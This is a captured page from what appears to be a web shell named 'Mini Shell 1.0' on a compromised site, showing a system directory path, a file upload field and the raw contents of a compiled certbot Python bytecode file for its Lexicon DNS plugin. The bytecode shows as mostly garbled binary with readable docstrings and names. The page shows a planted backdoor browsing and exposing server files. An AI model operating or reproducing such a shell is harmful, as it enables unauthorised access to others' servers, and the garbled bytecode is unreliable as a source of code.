HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/certbot/plugins/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/certbot/plugins/__pycache__/dns_common_lexicon.cpython-311.pyc
�

E��cE��J�dZddlZddlmZddlmZddlmZddlmZddlmZddlm	Z	dd	lm
Z
dd
lmZddl
mZ	ddlmZdd
lmZn#e$rdZdZYnwxYweje��ZGd�d��Zdedeeefdeeefdeeeeefffd�ZdS)z;Common code for DNS Authenticator Plugins built on Lexicon.�N)�Any)�Dict)�Mapping)�Optional)�Union)�	HTTPError)�RequestException)�errors)�
dns_common)�ConfigResolver)�Providerc��eZdZdZdd�Zdedededdfd�Zdedededdfd	�Zdeddfd
�Zde	dede
ejfd
�Z
dedede
ejfd�ZdS)�
LexiconClientzI
    Encapsulates all communication with a DNS provider via Lexicon.
    �returnNc�
�|dS)N�)�selfs �D/usr/lib/python3/dist-packages/certbot/plugins/dns_common_lexicon.py�__init__zLexiconClient.__init__#s�������domain�record_name�record_contentc��|�|��	|j�d||���dS#t$rI}t�d|d���t
jd�|�����d}~wwxYw)a�
        Add a TXT record using the supplied information.

        :param str domain: The domain to use to look up the managed zone.
        :param str record_name: The record name (typically beginning with '_acme-challenge.').
        :param str record_content: The record content (typically the challenge validation).
        :raises errors.PluginError: if an error occurs communicating with the DNS Provider API
        �TXT��rtype�name�contentz'Encountered error adding TXT record: %sT��exc_infozError adding TXT record: {0}N)	�_find_domain_id�provider�
create_recordr	�logger�debugr
�PluginError�format�rrrr�es     r�add_txt_recordzLexiconClient.add_txt_record&s���	
���V�$�$�$�	O��M�'�'�e�+�~�'�^�^�^�^�^���	O�	O�	O��L�L�B�A�PT�L�U�U�U��$�%C�%J�%J�1�%M�%M�N�N�N�����	O���s�6�
B	�AB�B	c�N�	|�|��n:#tj$r(}t�d|d���Yd}~dSd}~wwxYw	|j�d||���dS#t$r(}t�d|d���Yd}~dSd}~wwxYw)a�
        Delete a TXT record using the supplied information.

        :param str domain: The domain to use to look up the managed zone.
        :param str record_name: The record name (typically beginning with '_acme-challenge.').
        :param str record_content: The record content (typically the challenge validation).
        :raises errors.PluginError: if an error occurs communicating with the DNS Provider  API
        z7Encountered error finding domain_id during deletion: %sTr Nrrz)Encountered error deleting TXT record: %s)r"r
r'r%r&r#�
delete_recordr	r)s     r�del_txt_recordzLexiconClient.del_txt_record7s���	�� � ��(�(�(�(���!�	�	�	��L�L�R�TU�"&�
�
(�
(�
(��F�F�F�F�F�����	����
	X��M�'�'�e�+�~�'�^�^�^�^�^���	X�	X�	X��L�L�D�a�RV�L�W�W�W�W�W�W�W�W�W�����	X���s,��A�A
�
A�A2�2
B$�<B�B$c���tj|��}|D]�}	t|jd��r||jjd<n||j_|j���dS#t$r$}|�||��}|r|�Yd}~�yd}~wt$r$}|�
||��}|r|�Yd}~��d}~wwxYwtjd�
||�����)z�
        Find the domain_id for a given domain.

        :param str domain: The domain for which to find the domain_id.
        :raises errors.PluginError: if the domain_id cannot be found.
        �optionsrNzAUnable to determine zone identifier for {0} using zone names: {1})r�base_domain_name_guesses�hasattrr#r0r�authenticater�_handle_http_error�	Exception�_handle_general_errorr
r'r()rr�domain_name_guesses�domain_namer*�result1�result2s       rr"zLexiconClient._find_domain_idLsN��)�A�&�I�I��.�	"�	"�K�
"��4�=�)�4�4�7�6A�D�M�)�(�3�3�,7�D�M�(��
�*�*�,�,�,������
"�
"�
"��1�1�!�[�A�A���"�!�M�"�"�"�"�"������
"�
"�
"��4�4�Q��D�D���"�!�M�"�"�"�"�"�����
"����� �!d�"(�&��1D�"E�"E�G�G�	Gs$�A
A'�'
C�1B�
C�B<�<Cr*r8c�R�tjd�||����S)Nz/Error determining zone identifier for {0}: {1}.)r
r'r(�rr*r8s   rr4z LexiconClient._handle_http_errorps)���!�"S�#)�6�+�q�#9�#9�;�;�	;rc��t|���d��s(tjd�||����SdS)NzNo domain foundz9Unexpected error determining zone identifier for {0}: {1})�str�
startswithr
r'r(r<s   rr6z#LexiconClient._handle_general_errortsK���1�v�v� � �!2�3�3�	?��%�&a�'-�v�k�1�'=�'=�?�?�
?��tr)rN)�__name__�
__module__�__qualname__�__doc__rr>r+r.r"rrr
r'r4r5r6rrrrrs0�������� � � � �O�S�O�s�O�C�O�TX�O�O�O�O�"X�S�X�s�X�C�X�TX�X�X�X�X�*"G�c�"G�d�"G�"G�"G�"G�H;�I�;�C�;�H�V�M_�D`�;�;�;�;��y��s��x�PV�Pb�Gc������rr�lexicon_provider_name�lexicon_options�provider_optionsrc��d|i}|�|��ts|�|��nOi}|�|��|||<t���|�����}|S)ao
    Convenient function to build a Lexicon 2.x/3.x config object.
    :param str lexicon_provider_name: the name of the lexicon provider to use
    :param dict lexicon_options: options specific to lexicon
    :param dict provider_options: options specific to provider
    :return: configuration to apply to the provider
    :rtype: ConfigurationResolver or dict
    �
provider_name)�updater�	with_dict�with_env)rDrErF�config�provider_configs     r�build_lexicon_configrN{s���6E�F[�4\�F�
�M�M�/�"�"�"��?��
�
�&�'�'�'�'�+-�����/�0�0�0�(7��$�%��!�!�+�+�F�3�3�<�<�>�>���Mr)rC�logging�typingrrrrr�requests.exceptionsrr	�certbotr
�certbot.pluginsr�lexicon.configr�lexicon.providers.baser
�ImportError�	getLoggerr@r%rr>rNrrr�<module>rXs���A�A�����������������������������������)�)�)�)�)�)�0�0�0�0�0�0�������&�&�&�&�&�&��-�-�-�-�-�-�/�/�/�/�/�/�/�������N��H�H�H�����
��	�8�	$�	$��Z�Z�Z�Z�Z�Z�Z�Z�z���*1�#�s�(�*;��OV�WZ�\_�W_�O`��#�N�D��c��N�$B�C������s�A�	A�A